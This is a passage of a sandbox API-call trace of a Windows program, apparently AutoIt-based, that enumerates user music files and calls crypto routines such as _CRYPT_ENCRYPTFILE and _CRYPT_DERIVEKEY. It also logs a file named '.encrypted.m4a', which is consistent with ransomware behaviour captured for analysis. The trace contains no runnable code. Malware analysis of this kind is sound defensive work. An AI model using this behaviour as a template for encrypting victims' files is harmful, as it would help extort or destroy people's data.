hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.460] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.461] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.461] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.461] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.461] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.461] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.461] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.461] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.461] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.461] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.461] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.461] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.461] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.461] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.462] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.462] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.462] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.462] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.462] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.462] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.462] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.462] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.462] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.462] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7588) returned 1 [0027.462] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.462] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.462] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.463] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1da4, lpOverlapped=0x0) returned 1 [0027.463] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.463] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.463] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7588) returned 1 [0027.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vg92TMA h58WcT.encrypted.m4a\r\n", cchWideChar=75, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 75 [0027.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vg92TMA h58WcT.encrypted.m4a\r\n", cchWideChar=75, lpMultiByteStr=0xe8f4069fb0, cbMultiByte=75, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vg92TMA h58WcT.encrypted.m4a\r\n", lpUsedDefaultChar=0x0) returned 75 [0027.463] WriteFile (in: hFile=0x188, lpBuffer=0xe8f406a190*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a190*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4a, lpOverlapped=0x0) returned 1 [0027.463] CloseHandle (hObject=0x188) returned 1 [0027.464] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.464] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.464] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.464] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.464] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.464] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.464] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.465] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.465] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.466] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.466] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vuBvaJ.mp3", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0027.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vuBvaJ.mp3", cchWideChar=55, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vuBvaJ.mp3", lpUsedDefaultChar=0x0) returned 55 [0027.466] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vuBvaJ.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\vubvaj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=55, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0027.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=55, lpWideCharStr=0xe8f4066cf0, cchWideChar=55 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vuBvaJ.mp3") returned 55 [0027.467] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.467] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.467] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.467] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.468] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178520, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.468] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.468] CloseHandle (hObject=0x188) returned 1 [0027.468] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.468] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.468] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.468] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.468] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.468] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.468] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.468] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.469] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.469] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.469] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.469] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.469] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.469] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.470] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.470] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.470] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.470] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.470] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.471] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.471] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.471] PeekMessageW (in: 